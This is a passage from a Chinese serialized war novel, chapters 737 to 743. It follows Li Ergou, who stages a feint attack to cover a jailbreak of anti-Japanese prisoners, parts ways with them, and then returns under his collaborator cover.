留在城内,就是瓮中之鳖,必死无疑。 “所有人,立刻跟我走!” 李二狗没有丝毫慌乱,依旧沉稳镇定地指挥着。 带着刚刚脱险的众人,趁着夜色的掩护,他们快速撤离下水管道出口,一路疾行,直奔三百米外的一片密林之中。 夜色漆黑,树林茂密,是一个绝佳的临时隐蔽藏身之地。 一行人快速冲进树林里,因为生死未卜,他们全部忧心忡忡。 现在的局面,简直是一个死局! 孙连胜看着队伍里二十一名满身伤痕的老弱病残,又听着城里此起彼伏的警报声,眉头紧紧皱起,满脸愁容。 他看向李二狗,语气满是焦虑地问道:“狗哥,我们现在怎么办?” 城里警报大响,日本鬼子必然已经全城戒严,所有的街道、城门和路口全部封锁。 寻常百姓夜里根本不敢出门,此刻他们这几十个人,多是伤疲之人,老弱妇孺皆有,目标极大,只要出现在街道上,瞬间就会被日本鬼子发现。 想要带着这么多人平安出城,难度极大,几乎是难如登天。 所有人的目光,全都落在李二狗身上,她们满心忐忑,等着他拿主意。 夜色幽暗,树影斑驳。 李二狗抬手看了一眼手表,表盘上的指针,还差五分钟就指向凌晨三点。 因为是临时决定搭救大牢里所有的“犯人”,所以整个营救过程中耽搁了不少时间,这不在李二狗当初的营救计划之内,好在一切都还在他的掌控之中。 第738章 佯攻致胜 夜色深沉,万籁俱寂,唯有城内的警报声此起彼伏。 在众人焦灼的目光中,他神色沉稳,不见半点慌乱,唇齿间缓缓吐出一个字:“等。” 他的语气如此的从容淡定,仿佛早已算尽了一切,眼下发生的一切尽在他的掌握之中。 众人虽然满心疑惑,不知他让大家等什么,但所有人都选择无条件地信任他。 他们只能压下心底的焦虑,静静地等候着。 时间一分一秒地过去。 大家心急如焚,不知道危险什么时候就会降临在眼前,而李二狗则神情淡定,只是不时地瞥一眼手表,说明他内心实际上也非常焦急。 几分钟之后,时针指向三点钟! 寂静的县城之外,东西南北四个方向的城郊,骤然响起了震天动地的枪炮声! “砰!砰!砰!” 枪声密集、炮火轰鸣,瞬间打破了深夜的宁静。 火光在夜色里此起彼伏,照亮了江东的半边夜空。 城外四个方向,同时发起了进攻,声势浩大! 原来是秀才按照李二狗提前预定的计划,带着清风集团的部分弟兄,兵分四路,同时对江东县城的四面城门,发起了猛烈的佯攻! 当初李二狗为了保密,只是把攻击时间和攻击方向告诉了两个送信人,并没有告诉孙连胜具体情况。 其实就是秀才和陈老三提前也不知道具体的攻击时间和范围。 人多嘴杂,李二狗不得不防! 这次由李二狗一手策划的佯攻,虽然听着枪炮的动静很大,其实大多都是把鞭炮点燃之后放进铁桶发出的声音。 几乎是同一时间,县城周边各处鬼子炮楼,也接连响起密集的枪声和爆炸声。 一时间火光四起,硝烟弥漫。 陈老三按照预定时间,带领集团一部分兄弟同时对江东境内的鬼子炮楼发起了全面骚扰攻击! 一瞬间,偌大的江东县,县城内外、乡镇各处、山野路边,处处战火,处处枪响。 谁也分不清到底有多少队伍、有多少人马在进攻,日本鬼子彻底陷入了慌乱被动。 日本鬼子做梦也想不到,这不是真正的攻城作战,这只是一场精心布局、只为制造混乱而发动的佯攻。 这是李二狗劫狱计划的重要组成部分。 动手劫狱之前,他就提前派人去传话,通知秀才和陈老三,凌晨三点整,统一时间、统一行动。 所有的队伍,只在远处燃放鞭炮、敲锣打鼓,制造攻城的声势。 只造势,不冲锋,不攻城。 佯攻过程严格控制时间,只打二十分钟,时间一到,立刻全员撤退,绝对不允许恋战。 日本鬼子的战斗力非常强悍且战术素养极高,进攻人员如果在二十分钟之内只打雷不下雨,他们马上就能发现异常。 如果日本鬼子发现异常之后选择出城进行攻击,清风集团这些人根本不是小鬼子的对手。 他这次的目的只是为了打乱日本鬼子的军心,打乱他们的全城搜捕行动! 县城内部的鬼子,原本准备全城搜捕越狱人员,可如今城外炮火震天,瞬间就让小鬼子乱了阵脚。 他们根本搞不清来袭队伍的规模和人数,误以为是反日武装大规模攻城! 所有城内的日本鬼子兵力,瞬间被全部调动起来,他们全部紧急被调去城门布防,抵御来自不明武装力量的进攻。 原本严密的全城搜捕,瞬间不攻自破! 日本鬼子自顾不暇,再也没有多余的兵力去搜查越狱人员。 混乱的局势,简直和李二狗事先推演的一模一样。 看着城外漫天的战火和周围四起的硝烟,李二狗眼里闪过一丝喜悦,撤退的时机终于等到了! 他立刻转头,对着身后的孙连胜下达了撤离命令,语气干脆利落。 “连胜!时间紧迫,我们只有二十分钟的时间,现在立刻带上所有人,马上出发!从西城墙下面的洞口撤离!速度要快!我来殿后!” 孙连胜看着漫天的火光和震耳欲聋的枪炮声,彻底看懂了李二狗所有的布局谋划。 从潜入、救人、撤离、等候,到现在的佯攻,环环相扣,步步精妙! 看似步步惊险,实则每一步都算无遗策,早已留好了万全的退路! 这一刻,他心底只剩满心的敬佩。 李二狗的城府、胆识和谋略,远超常人所能想象。 “明白!” 孙连胜立刻转身,对着所有人下达了命令:“所有人听着!大家都跟紧我,不要出声!撤!” 树林里的众人,早就等得心焦难耐,他们听到撤离的命令之后,瞬间站起身子,互相搀扶着,紧紧跟随着孙连胜的步伐快步走出树林。 “二狗,我留下来和你一起走!” 宋小曼故意留下来,站在李二狗身旁。 李二狗见宋小曼没走,着急地说道:“你跟着他们先走,咱们在城外会合。” “不!我和你一起走!”宋小曼坚决地说道。 “来人,带她走!” 李二狗一声令下,一名队员快步走到宋小曼面前。 宋小曼知道李二狗的脾气,只好说道:“那你小心一点,我在城外等你。” 李二狗笑着安慰道:“放心吧,待会儿见。” 二十分钟之后,所有人顺利通过西城墙下面的一个隐秘洞口,安然撤离江东县城! 城内的鬼子,依旧被城外四面八方的佯攻炮火牵制,乱作一团,疲于奔命,根本无暇顾及。 突然,几乎在同一时间,县城四个城门方向的枪炮声全部停止了。 秀才、陈老三按照原定计划准时撤离战场,队伍很快便消失在夜色之中。 夜色深沉,月黑风高。 残留的炮火硝烟弥漫在夜空,县城内外一片狼藉混乱。 日本鬼子全程摸不透敌情,他们完全不知道袭击县城是一支什么队伍,他们到底有多少人手,攻城的目的又是什么。 夜色漆黑,视野受限,他们根本不敢贸然带兵出城追击,只能龟缩在城内,慌乱布防。 李二狗站在城郊不远处的一处土坡上,等确认所有人全部安全撤离县城之后,他才转身追上了队伍。 历尽重重惊险和波折,这场惊心动魄的深夜劫狱计划,以零伤亡的代价,成功救出了所有被关押的抗日志士。 第739章 敢问各位英雄姓名 一行人相互搀扶着走了大半宿的夜路,一直走到离县城十公里之外的一个山坡,李二狗一直悬着的心才算放了下来。 山坡前方不远处孤零零地立着一座早就荒废多年的土地庙。 月光下,这座土地庙看起来年头已经不短,外头的土墙塌了大半,露出里头黑漆漆的庙屋。 庙门口的木牌早就烂得看不出字迹,墙角上爬满了枯乱的杂草,满地都是碎砖烂瓦,风一吹过,周围的荒草簌簌作响,透着一股子荒凉冷清的气息。 离开县城之后,他们一路辗转奔逃,不管是清风集团的弟兄,还是刚刚被解救出来的一众抗日志士,个个都累得够呛。 尤其是那些刚从日军监牢里出来的人更是凄惨,他们不少人脚踝上都带着镣铐磨出来的血痕,有的胳膊腿上还带着刑伤,衣衫更是破烂不堪,沾满了尘土和血污。 他们一路紧绷着心神逃命,不敢有半分懈怠,此刻个个脚步虚浮,脸色惨白,胸膛不住地起伏着,连喘气声都透着一股疲惫,早已到了撑不住的地步。 李二狗一直走在队伍的最侧边,一路上始终沉着眼,默默地打量着四周的动静,不敢有丝毫放松。 他虽是年轻,却比在场所有的人都沉稳,哪怕连夜奔袭,身心俱疲,脸上也瞧不出有半分狼狈之相。 他知道,不到安全的地方,一定不能放松,不然心里的那股气一泄,士气就一点都没有了。 他缓缓地停下脚步,转头扫了一眼身后乌泱泱的一行人。 看着众人一个个步履踉跄的模样,尤其是那些年纪偏大又满身伤痕的老者,他心里清楚,再这么赶路,所有人的体力都要彻底耗空了。 这荒郊野岭虽说僻静,可众人全部精疲力尽,一旦遇上突发状况,根本没有招架之力。 思及此处,李二狗侧过脸,看向身侧的孙连胜,语气平和地说道:“连胜,让大家停下来歇一歇吧,缓口气再接着赶路,做好警戒。” 孙连胜也知晓眼下众人的状态实在不宜再继续赶路。 “是!” 他点点头,当即转过身,面向身后的所有人员说道:“大家原地休息,注意不要乱走,也不要说话,你们几个到周围警戒。” 众人早就累得双腿发软,听到可以原地休息,心里瞬间松了一口气。 有的人靠着身旁的大树慢慢蹲下,有的人则直接坐在满地的干草碎砖上,一个个低声喘着粗气。 他们实在是太累了! 又怕又累又渴又饿,能走到这里完全是出于求生的本能。 就在四下一片安静的时候,人群里缓缓站出来一位老者。 这老人看着约莫六七十岁的年纪,头发胡子全都花白了大半,乱糟糟地贴在脸上。 他的脸上布满深浅交错的伤痕,那都是皮鞭子蘸着盐水抽出来的红痕,有的地方竟露出了骨头,看着就触目惊心。 他身上的粗布衣服破破烂烂,好几处布料都被撕裂,露出发青发紫的淤青和尚未结痂的伤口,整个人看上去虚弱至极,却依旧挺着单薄的脊背,浑身上下透着一股硬气。 老人一步一步慢慢走上前,对着李二狗一行人,微微弓着身子,神色满是感激。 他在鬼子监牢里受尽折磨,本以为此番必死无疑,可万万没想到,绝境之中竟被这群年轻人拼死相救,捡回了一条性命。 一路过来,他看在眼里,记在心里,清楚这群人是冒着极大的风险,才硬生生把他们二十多个人从鬼门关拉了回来。 老人望着眼前这群正气凛然的年轻人,声音沙哑地说道:“各位英雄,多谢你们舍命搭救我们这群人的性命!老朽无用,身陷囹圄,本是难逃一死,承蒙各位出手相助,大恩大德,我们无以为报,敢问各位英雄姓名?” 话音落下,在场所有队员的目光,齐刷刷地看向李二狗。 他们心里都跟明镜一样。 此番救人,无论是谋划布局,还是决断进退,全程都是李二狗指挥的,所有的主意都是他拿的,所有的风险也都是他带头扛的。 这一路九死一生,若不是他胆识过人、运筹得当,他们这些人根本不可能安然逃出小鬼子的魔掌。 他们心里清楚,他们这群人中,真正能担得起“英雄”二字的,惟李二狗一人是也。 在所有人的目光聚焦之下,李二狗脸上居然没有半分居功自傲的神色。 他的脸上露出一抹从容的笑意,仿佛方才那场惊心动魄的救人行动,根本算不得什么大事。 看着眼前这位满身伤痕的老者,他云淡风轻地说道:“大叔,不过是举手之劳罢了,您老不必放在心上。” 老人闻言,连连摇头,眼眶瞬间就红了。 他活了大半辈子,见惯了世间的人情冷暖,最清楚在这个乱世之中,人命犹如草芥,谁都只顾着自保,根本没人愿意冒着掉脑袋的风险,去搭救一群素不相识的陌生人。 他定定地看着李二狗,带着满心的敬重:“后生啊,对你而言,或许这只是一桩小事,可对我们这群人来说,这就是实打实的救命大恩啊!你这举手之劳,救下的是我们这二十多条活生生的性命啊!这般救命大恩,我们这辈子都不敢忘,岂能当作小事?” 话音刚落,不等李二狗说话,老人腰身一沉,直接双腿一弯,直直地朝着李二狗纳头便拜。 这一拜,满含赤诚,是乱世之中最质朴的感恩。 李二狗见状,脚步快速上前,伸手托住老人的双臂,用力将人往上搀扶,语气诚恳地说道:“大叔,我是晚辈,您老人家这么大年纪怎能拜我?万万使不得,您快些起身!” 可这名老者是出了名的倔脾气,他心里认定的事,绝不会轻易更改。 他知晓自己这条命包括在场所有人的命,都是眼前这个年轻人拼死换来的,心中感恩至极,执意要行完这份大礼,任凭李二狗怎么搀扶,他都死死地跪在地上,不肯起身。 第740章 低调李二狗 周围那些一同被李二狗搭救出来的人,看着老者跪地感恩,也纷纷心头滚烫。 众人感念李二狗一行人的救命之恩,二话不说,全都跟着纷纷双膝跪地,黑压压一片人,齐刷刷对着李二狗等人躬身叩拜。 一时间,荒寂破旧的土地庙前,二十多名满身伤痕的人,尽数跪地致谢,场面肃穆而又动容。 李二狗看着眼前的这一幕,内心着实不安。 他救人的时候从来没有想过这些,更受不起这么多人的跪拜感恩。 他深知,这些人都是为了反抗日本侵略者的欺压,才落得身陷牢狱的下场,他们才是真正心怀大义的人。 万般无奈之下,李二狗不再强行搀扶,顺着力道缓缓松开手,然后双腿微微一曲,当着所有人的面,直直地跪在老者面前。 “大叔,各位乡亲父老,你们不惧日本鬼子淫威,敢于站出来反抗侵略,哪怕受尽酷刑,也不曾低头屈服,你们所做的一切,是为了守护我们的家国,为了全天下千千万万的中国人。说到底,你们才是心怀大义之人!” “我们今夜出手相救,不过是做了我们该做的一点小事,和各位为国为民的大义比起来,我们这点微薄之举,根本不值一提。大家快些起身,再这般跪拜,我们实在承受不起啊!” 李二狗的这番话不浮夸,字字真诚,声音不大却掷地有声。 在场所有人看着主动下跪的李二狗,看着他不居功不恃恩的模样,心里的敬重之意瞬间又加深了几分。 他们本以为这个能于绝境之中救人于水火的少年英雄,定然是一个心高气傲之人,可万万没想到,对方竟如此谦虚谨慎,其格局胸襟远超常人。 老者看着跪在自己面前的这个年轻后生,心中又暖又敬,便不再坚持。 借着李二狗伸手搀扶的力道,他缓缓挺直腰身,慢慢地站起身来。 其余众人见状,也纷纷跟着起身,看向李二狗的眼神里,满是由衷的敬佩。 老者站稳身子,抬手轻轻擦拭了一下眼角的湿意,再次看向李二狗。 “英雄,今日大恩没齿难忘,敢问后生高姓大名?日后若是有缘再见,或是但凡有用得着我们的地方,我们必定赴汤蹈火,以报答今日的救命之恩!” 这话说得十分恳切,在场所有的人都静静地等待着,想要知道这位救命恩人的大名。 可李二狗心思向来缜密,做事周全,从不留下任何隐患。 他心里清楚,眼下日寇肆虐,江东及周边各方势力鱼龙混杂。 这些人虽然都是从鬼子监牢里救出来的人,大都是反抗日寇的爱国志士,但人心隔肚皮,他不清楚这二十多个人的真实底细,更不知道每个人的来路与立场。 自己的真实身份和清风集团的名号,若是轻易透露出去,一旦他们其中有人身份复杂或是不慎走漏风声,日后必然会招来祸患。 不仅会连累自己,更会连累整个清风集团的一众弟兄。 越是被人追捧,越要懂得低调行事,这是李二狗始终恪守的为人处世准则。 他从不贪慕虚名,更不会因为一时受人感激,就得意忘形。 心念飞速地在脑中转过,李二狗脸上依旧是一副淡然的神色,他语气谦和地回道:“大叔,我真的谈不上是什么英雄,您不用这么抬举我,还是叫我小李吧。” 他闭口不提清风集团,也不报自己的真实姓名,简简单单一个称呼,既不冷漠失礼,又守住了秘密,分寸拿捏得恰到好处。 自始至终,宋小曼都静静地站在李二狗身后,她没有开口说话,只是默默地审视着眼前这些被解救出来的人。 经过多年地下工作的锻炼,她的观察力是极强的。 一路过来,她仔细看过每个人的神态举止,心里隐隐有所判断。 她笃定,这二十多个人里头,定然有和自己身份相同的同志。 只是地下工作有铁一般的纪律,所有人皆是单线联系,绝对不能随意暴露身份,更不能当众相认。 哪怕心中已然有了猜测,她也只能按捺心绪,不敢有半分逾矩。 老者听完李二狗的话,见对方执意不愿透露姓名身份,知晓这位后生不愿贪图虚名,心里愈发敬重,便不再强行追问。 他低头看了看自己满身的伤痕,又转头看了看身边一众伤病缠身的同伴,沉吟片刻之后,对着李二狗缓缓开口道:“小李,我知道你们是好心,愿意冒险护送我们。只是我们这群人个个带伤,行动迟缓,你们带着我们这么一大帮人连夜赶路,不仅耽误你们的行程,还会给你们带来不小的危险啊。” “大叔你别这样说……” 老者不等李二狗说完,便抢先说道:“多一个人就多一分风险,依我看,咱们不如就此别过,大家分头行动,这样我们大家的风险都会小一些。” 李二狗听完老者的提议,沉默着思索了片刻。 他知道,这些人皆是爱国抗敌的志士,值得敬重,但众人的来路、身份和各自的任务都不相同。 二十多个人聚在一起,目标太大,而且每个人的处境和要做的事都不一样,强行把他们聚在一起,反倒会彼此束缚,给所有人都招来不必要的麻烦。 与其勉强同行,不如分散行动,这样反倒更加安全。 想通其中利害之后,李二狗便不再强行挽留。 “大叔,您说得在理。眼下小鬼子短时间内不会贸然出城巡查,这片地界暂时是安全的。既然大家另有打算,那咱们便就此别过吧,后会有期。来日山河无恙,我们或许还有再见之日。” “小李,后会有期!” “后会有期!” …… 一众被救的抗日志士纷纷对着李二狗和他的一众弟兄拱手作别。 “保重啊!兄弟!” “兄弟,保重啊!” …… 夜色浓稠,笼罩四野,朦胧的月色透过乌云缝隙洒落大地,照得荒郊人影绰绰。 第741章 二人时光 二十多个人各自道别之后,他们便朝着四面八方分散而去,身影很快就隐入沉沉夜色与周围的山林荒草之中。 此时,偌大的土地庙前,转眼就只剩下清风集团的一干弟兄,还有李二狗与宋小曼两人。 待所有人走后,李二狗才转头看向身旁的孙连胜,吩咐道:“连胜,你带着兄弟们回集团,我们回胡家大院。” 孙连胜闻言,下意识地快速瞥了一眼李二狗身旁一直安安静静站着的宋小曼。 这个女人尽管伤痕累累,却依旧是那么的美丽动人。 古有冲冠一怒为红颜,李二狗今日的所作所为又何尝不是为了红颜呢? “狗哥,你不跟我们一起回集团吗?” 李二狗当初为了规避日本人的针对,刻意暂时脱离了清风集团,隐去土匪身份在外和日本人周璇。 今晚参与行动的都是清风集团特别行动队的核心成员,他们都是久经考验的自己人,忠心可靠,所以在这次行动中,他没有刻意在这些弟兄面前遮掩身份。 他信得过这些跟着他拼杀的队员,知道这些人绝对不会泄露他的身份。 可清风集团有上千号人,人员繁杂。 常言道,林子大了,什么鸟都有,谁也无法保证所有人都绝对可靠。 秀才和陈老三带领集团兄弟攻击各处鬼子据点,也只是为了打而打,底下的那些兄弟根本不知道他们攻打县城是为了配合李二狗等人的劫狱计划。 若是他的真实身份和今晚的劫狱行动,被一些立场不稳的人得知,一旦泄露出去,被日本人知道,不仅自身危险重重,整个清风集团也会陷入巨大的危机之中,数月来的蛰伏布局也会尽数作废。 为了稳妥起见,他必须继续蛰伏,不能轻易暴露自己的真实身份。 他看着孙连胜,郑重地叮嘱道:“我暂时不回集团,你务必告诉兄弟们,我的身份和今晚的行动,一定要烂在肚子里,不许对外泄露半字,违者寨规从事。” 孙连胜神色一凛,立刻挺直身子,郑重地保证道:“是!狗哥,你放心,我们一定严格保守秘密!” 孙连胜保证之后便不再多言,他转身带着一众特别行动队的弟兄,告别李二狗,趁着夜色,朝着清风集团的方向赶去。 转瞬之间,空旷破旧的土地庙前,就只剩下李二狗和宋小曼两个人。 周围彻底安静下来,晚风轻轻地吹过荒草,发出一阵细碎的声响,四下再无旁人。 一直安静不语的宋小曼看着眼前这个沉稳内敛的男人,眼底带着几分了然的神色,她轻声说道:“二狗,我果然没有猜错,你就是清风寨的大当家。” 这一路之上,她一直在冷眼旁观,心里早就猜出了李二狗的真实身份。 这话她一路憋在心里,直到此刻四下无人之时,才轻声说了出来。 其实李二狗早已看穿了她的心思。 他心里清楚,以宋小曼的聪慧,一定早就猜到了自己的真实身份,只是一直隐忍不说。 李二狗神色平静,语气中带着几分释然,也带着几分低调的淡然。 “小曼,清风寨早已是过往云烟,哪里还有什么大当家?” 宋小曼闻言,微微一滞,刚抬起手指想要再说些什么,可话到嘴边,看着他那副淡然的模样,又缓缓地将手放了下去。 她定了定神,调整好语气,眼神认真地看着李二狗,准备跟他好好说道说道,做一番他的思想工作。 “二狗,其实我们共产党……” 她话音才刚起头,李二狗便提前预判到了她的意图。 他知晓宋小曼接下来必然要讲一番大道理,对自己做一番救国救民的思想工作。 他不想在这难得清闲的时候听这些条条框框的大道理,只想和她两个人安安静静地待一会儿。 心念一动,他没有接话,也没有反驳,只是微微皱起眉头,抬起手轻轻地扶住自己的额头,身子微微一晃,摆出一副快要撑不住马上就要晕倒的模样。 宋小曼见状,心里瞬间慌了神,所有想好的说辞,准备好的开导话语,瞬间被她抛到了九霄云外。 她连忙上前一步,伸手扶住李二狗的胳膊,焦急地问道:“二狗,你怎么了?是不是哪里不舒服?” 李二狗微微垂着眼,语气中带着一丝慵懒的疲惫。 “我头有点晕,也许是太累了吧。” 看着他虚弱的模样,宋小曼满心都是心疼,再也没有半分说教的心思。 她连忙搀扶着他的手臂,轻声安抚道:“那快别站着了,我扶你进庙里歇歇吧。” 说完,她小心翼翼地搀扶着李二狗,一步步走进破败空旷的土地庙里头。 庙里满是灰尘,地面凹凸不平,四处都是残砖碎瓦,唯有靠墙的一小块地面相对平整干净一些。 宋小曼轻声说道:“你就在这里坐着好好歇一歇,等天亮之后,我们再赶路。” 昏暗微弱的夜色里,李二狗的嘴角悄悄勾起一抹极隐蔽的笑意,转瞬即逝。 比起听宋小曼一本正经讲那那些生硬的大道理,做自己的思想工作,他更喜欢眼前这一刻温柔似水的宋小曼。 这般安静温柔的模样,远比刻板的说教更让自己舒心。 缓了片刻之后,李二狗稍稍坐稳身子,抬头看向身旁的宋小曼。 宋小曼身上有伤,一路跟着连夜奔逃赶路,身心同样疲惫不堪,身上的伤口定然也在隐隐作痛。 于是他默默地朝着旁边轻轻挪了挪身子,刻意腾出庙里最平整、最干净的一块地面,留给身旁的宋小曼。 “小曼,你身上有伤,一路也累坏了吧?别一直站着了,快坐下歇歇吧。” 宋小曼看着他细心体贴的模样,心里一暖,随即露出一个温暖的微笑,然后她轻轻弯腰,缓缓地坐在了李二狗刚刚腾出的那块平整地面上。 夜色静谧,晚风微凉,破旧的土地庙里一片安宁。 她微微侧过头,轻轻地将自己的脑袋倚靠在李二狗的肩头,卸下所有的警惕,只剩一身温柔。 第742章 打破平衡 天刚蒙蒙亮,夜色尚未彻底褪去,东方的天空翻出一层淡淡的鱼肚白。 山间的雾气袅袅升起,笼罩着乡间的土路,湿漉漉的晨气裹着微凉的风,扫过荒山野岭。 两人在土地庙折腾了一夜,并没有感觉到疲乏,李二狗带着宋小曼,踏着清晨的薄雾,赶回了仙人洞镇。 昨夜县城劫狱,动静闹得极大,日本人必然会非常震怒,很快便会在全县范围内展开搜捕。 李二狗是一个心思极其缜密之人,凡事必留后手,绝不会冒无谓的风险。 胡家大院目标太过显眼,若是现在贸然带着宋小曼回去,一旦被人觉察,偷偷向日本人通风报信,后果将不堪设想。 稳妥起见,他没有带着宋小曼直接回到胡家大院,而是来到他在仙人洞镇的家中。 李二狗的这处私宅,平日里极少有人知晓,安静隐蔽,是眼下最安全的一个落脚之处。 宋小曼跟着李二狗跨进院门,走进屋内,抬眼打量了一圈,心里顿时生出几分诧异。 这屋子外边看着并不张扬,可内部却处处透着讲究。 屋里的桌椅摆件,布置得清雅利落,并没有寻常乡下人家的杂乱,一看就不是普通庄户人家能有的光景。 她心里带着几分疑惑问道:“二狗,这里是什么地方?” 李二狗随手将屋门带上,很自然地说道:“这里是我家,你先在这里安心住着,暂时避一避风头,等过几天风声松了,再回胡家大院。” 简简单单的一句“我家”,却让宋小曼心口微微一颤,脸颊瞬间泛起一层淡淡的红晕,耳根也悄悄热了起来。 她心里清楚,一般关系,李二狗绝不会把一个女人轻易带回自己家中。 一时之间,她心里有些羞涩,又带着几分说不清道不明的试探,她轻声问道:“我住在这里,会不会不太方便?” 李二狗一眼便看穿了她心底那点细腻的小心思。 看着她微红的脸颊,他淡淡地笑了笑。 “没事,这里平日没人居住,我常住在大院,偶尔才会回来歇一晚。你只管在这里安心住着,不用拘谨,就当这里是自己的家一样。” 宋小曼心里暗自思量:眼下四处都是日军搜查,她确实没有其他可以落脚的去处。 除此之外,她心里还藏着另一番打算。 清风集团坐拥上千人马,是江东地界一股不可忽视的力量,尤其是通过这次劫狱行动,更让她看清了这支队伍的实力。 能否将这支队伍顺利收编,改造成党领导下的革命队伍,李二狗是她唯一的突破口,也是整件事情能否成功的关键。 这么难得的独处机会,她万万不能错过。 正好可以趁着自己暂住此处的日子,慢慢做通李二狗的思想工作。 心里想通了这些,宋小曼眉眼柔和,轻声道了一句:“谢谢你,二狗。” 李二狗很自然地笑道:“你我之间,不必这般客气。” 安顿好宋小曼之后,李二狗匆匆出了门,朝着胡家大院赶去。 昨夜在县城劫狱救人,动静闹得太大,几乎是明目张胆地把人从大牢里救了出来,这等于直接打了日本人的脸。 以日本人的秉性,吃了这么大的亏,绝对不可能就此作罢。 等到他们从昨夜的混乱中回过神,必然会在整个江东全县展开地毯式的大搜捕,追查昨夜闹事劫狱的武装力量。 在整个江东地面,真正有实力敢组织人马强攻县城的,只有清风集团一家。 这一点,日本人很快便能反应过来。 矛头,必然会对准清风集团。 日本人之前之所以迟迟没有对清风集团动手,从来不是因为他们心存善意,当然也不是忌惮清风集团的实力,纯粹只是因为他们懒得动手。 清风集团的几处农场全都建在地势险峻且偏僻荒凉的群山之中,交通闭塞,资源贫瘠。 现阶段,日军作战的重心都放在攻占中国大中城市、掌控交通要道和掠夺核心资源上。 对于藏在深山里的几处土匪武装,日本人根本提不起一点兴趣。 说得更加直白一点,在日本人眼中,清风集团那几片荒山薄地,价值非常低微。 别说出兵围剿,就算是几发炮弹的成本,都远远超过这片地界的价值。 日军向来功利至极,自然懒得耗费兵力弹药去清剿一群窝在深山里的土匪武装。 可李二狗心里始终绷着一根弦,他清楚地知道这份相安无事,从来不是永久的,它是建立在一个前提之上——清风集团不威胁到日本人的统治与安全。 一旦清风集团的存在,触碰到了日本人的底线,威胁到了他们的治安管控,哪怕只是深山里一股不起眼的土匪势力,日本人也会毫不犹地连根铲除,绝对不会留情。 昨夜的行动,已然打破了这份平衡。 一路思绪沉沉,不多时,李二狗便赶回了胡家大院。 心急如焚的张二驴看见李二狗的身影出现在门口,紧绷了一整夜的心瞬间落地,脸上当即露出难掩的喜色。 这一夜,他彻夜未眠,心一直悬在嗓子眼上,生怕李二狗在外遭遇不测。 他知道胡家大院离不开李二狗,自己更加离不开李二狗。 “狗哥,你可算回来了!” 张二驴快步迎了上来,语气里满是欢喜。 李二狗问道:“家里一切都安稳吧?” 张二驴连连点头道:“都好,一切都安稳!狗哥,三奶奶她……” 李二狗淡淡一笑:“放心吧,一切顺利。” 短短几个字,瞬间抚平了张二驴所有的焦虑和不安。 这两天,自从李素文和念秋进山避险,李二狗外出救人之后,他心里就一直七上八下。 此刻听到李二狗这句准话,高悬多日的一颗心彻底落地,脸上瞬间笑开了花。 “那可真是太好了!”张二驴难掩激动,“狗哥,那我现在就动身,去清风山把她们都接回来!” 李二狗略微沉吟片刻,摇头道:“二驴,先不用急着接人,再等两天看看情况。” 第743章 李二狗的脱身之计 此话一出,张二驴的心瞬间又悬了起来,他心里猛地“咯噔”一下,刚刚放下的焦虑再次涌上心头。 他现在最怕听到变数,连忙追问道:“怎么了,狗哥?是不是又出什么事了?外面风声又紧了?” 看着他一副紧张兮兮的模样,李二狗忍不住笑了笑,安抚道:“看你小子这点胆子,慌什么?”他放缓语气解释道:“县城昨夜闹出这么大的动静,风声正紧,日本人必然会到处搜捕。稳妥起见,咱们再多观望两天,等风头松一点,再去接人。” 说完,他故意打趣道:“你急什么?你家念秋跑不了。” 张二驴顿时有些不好意思,尴尬地嘿嘿笑了两声:“狗哥,我哪是那意思?我就是担心她们的安危罢了。” 玩笑过后,李二狗收敛了脸上的笑意,神色变得严肃起来。 其实他心里已经盘算出一条脱身之计,一个虽然不算成熟却足以扭转整个局势的主意。 而这件事,需要张二驴的配合。 他转头看向张二驴,正色问道:“二驴,咱们大院留下来值守的这些家丁,全都可靠吗?” 张二驴闻言,微微一愣,一时没明白李二狗突然问这话的用意。 他心里暗自揣测,是不是自己哪里安排不周,让李二狗不放心了? 他当即拍着胸脯保证道:“狗哥,你尽管放心吧!我张二驴敢拿自己的性命担保,留下来的这些人,个个对你忠心耿耿,绝对没有贰心。” 李二狗安抚道:“我就是随口问问,你办事,我向来是放心的。” 紧接着,他有条不紊地吩咐起正事:“你现在立刻安排下去,让院里所有人,分头去往镇上的各个村落。” “做什么?” “就说昨夜夜里,有一大队穿着黄布军装的国军队伍,从咱们仙人洞镇路过,人数不少,而且这些国军还在各个村子里大肆抓壮丁,让大家都要当心,青壮年尽量躲起来避避风头。” 张二驴听完,满脸错愕:“国军?狗哥,哪来的国军?自打日本人打过来,江东的国军早就跑得干干净净了啊!” 他实在想不通,国军早就溃不成军,怎么会突然冒出来大批队伍路过江东,还大肆抓壮丁? 李二狗神色平静的说道:“我不管以前有没有,你现在只需要记住一件事,要让全镇甚至全县的百姓都相信,国军真的来了。抓紧时间去办吧,把话传遍各个村落,越快越好,说的越严重越好。” 张二驴依旧一头雾水,完全摸不透李二狗的深意。 他不明白李二狗为什么凭空捏造国军现身的消息,更不知道这么做能起到什么作用。 但这么多年跟着李二狗,他早就养成了习惯。 李二狗的心思和谋略,从来不是他能轻易看懂的。 但李二狗吩咐的事情,照着做,准没错。 哪怕满心疑惑,他也当即领命道:“好!我立马就去安排,保证传遍所有村落!” 张二驴匆匆领命离去,院子里瞬间恢复了安静。 一夜连番苦战,费神算计,高度紧绷的神经骤然松弛下来,积攒整夜的疲惫瞬间席卷全身。李二狗只觉得浑身酸软无力,像是身体被掏空的感觉。 他实在是太累了。 连日来的步步算计,每一步都要深思熟虑,半点差错都不能有,心神耗损极大。 他不再硬撑,转身走进屋内,合衣躺在床上,脑袋刚沾到枕头,便沉沉睡了过去。 这一觉睡得极沉,一直酣睡到日头高悬才缓缓醒转过来。 睡醒之后,精气神稍稍恢复,李二狗赶忙起身收拾了一番,立刻动身,直奔江东县城。 此时的江东县城,气氛已然变得肃杀紧绷,和往日截然不同。 昨夜劫狱暴动,让日军颜面尽失,整个县城的安保戒备直接拉到最严。 县城城门处的日伪军兵力,比平日里足足增加了两倍不止,街道两旁随处可见巡逻的日军士兵和伪军岗哨。 所有进出城的路口全部严加管控,对过往百姓和行人客商逐一盘查。 但凡看着有神色不对的人,根本不问缘由,直接当场抓捕关押,一时间,整个县城风声鹤唳。 只是,谁也想不到,此刻大摇大摆进城的李二狗,恰恰就是昨夜搅动整场风波的主导之人。 凭着仙人洞镇维持会会长的身份,李二狗在整个江东县城,早已是无人不知、无人不晓的“汉奸走狗”。 在那些伪军眼里,他是死心塌地为皇军办事的人。 城门口值守的伪军士兵,几乎都认得他的面孔,见他走来,不仅没有盘问,反而脸上堆着笑意,主动上前打招呼。 李二狗知道他们为什么对自己这般客气,他早就摸透了这些人见钱眼开的心思。 说到底,他们不是对自己客气,是对自己兜里的大洋客气。 为了维护关系,李二狗一向非常大方。 